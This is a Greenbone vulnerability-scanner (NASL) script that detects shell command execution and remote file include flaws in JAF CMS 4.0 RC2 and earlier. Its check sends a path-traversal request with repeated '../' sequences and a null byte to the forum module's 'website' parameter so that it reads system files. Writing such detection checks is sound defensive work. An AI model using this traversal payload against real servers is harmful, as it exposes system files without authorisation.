JAF CMS <= 4.0 RC2 Multiple Vulnerabilities

# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100895");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2010-11-05 13:21:25 +0100 (Fri, 05 Nov 2010)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("JAF CMS <= 4.0 RC2 Multiple Vulnerabilities");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2010 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"JAF CMS is prone to a shell command execution vulnerability and
  multiple remote file include vulnerabilities because the application fails to properly sanitize
  user-supplied input.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"impact", value:"- An attacker can exploit the remote shell command execution
  issue to execute arbitrary shell commands in the context of the webserver process.

  - An attacker can exploit remote file include issues to include arbitrary remote files containing
  malicious PHP code and execute it in the context of the webserver process. This may allow the
  attacker to compromise the application and the underlying system. Other attacks are also
  possible.");

  script_tag(name:"affected", value:"JAF CMS version 4.0 RC2 and probably prior.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
  options are to upgrade to a newer release, disable respective features, remove the product or
  replace the product by another one.");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/44664");
  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/514625");
  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/514626");
  script_xref(name:"URL", value:"http://www.htbridge.ch/advisory/rfi_in_jaf_cms.html");
  script_xref(name:"URL", value:"http://www.htbridge.ch/advisory/shell_create__command_execution_in_jaf_cms.html");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("list_array_func.inc");
include("misc_func.inc");
include("traversal_func.inc");
include("os_func.inc");
include("port_service_func.inc");

port = http_get_port(default: 80);

if (!http_can_host_php(port: port))
  exit(0);

files = traversal_files();

foreach dir (make_list_unique("/jaf", "/cms", http_cgi_dirs(port: port))) {
  if (dir == "/")
    dir = "";

  res = http_get_cache(port: port, item: dir + "/module/forum/main.php");
  if (res !~ "^HTTP/1\.[01] 200")
    continue;

  foreach file (keys(files)) {
    url = dir + "/module/forum/main.php?website=" + crap(data: "../", length: 3 * 9) + files[file] + "%00";

    if (http_vuln_check(port: port, url: url, pattern: file)) {
      report = http_report_vuln_url(port: port, url: url);
      security_message(port: port, data: report);
      exit(0);
    }
  }
}

exit(99);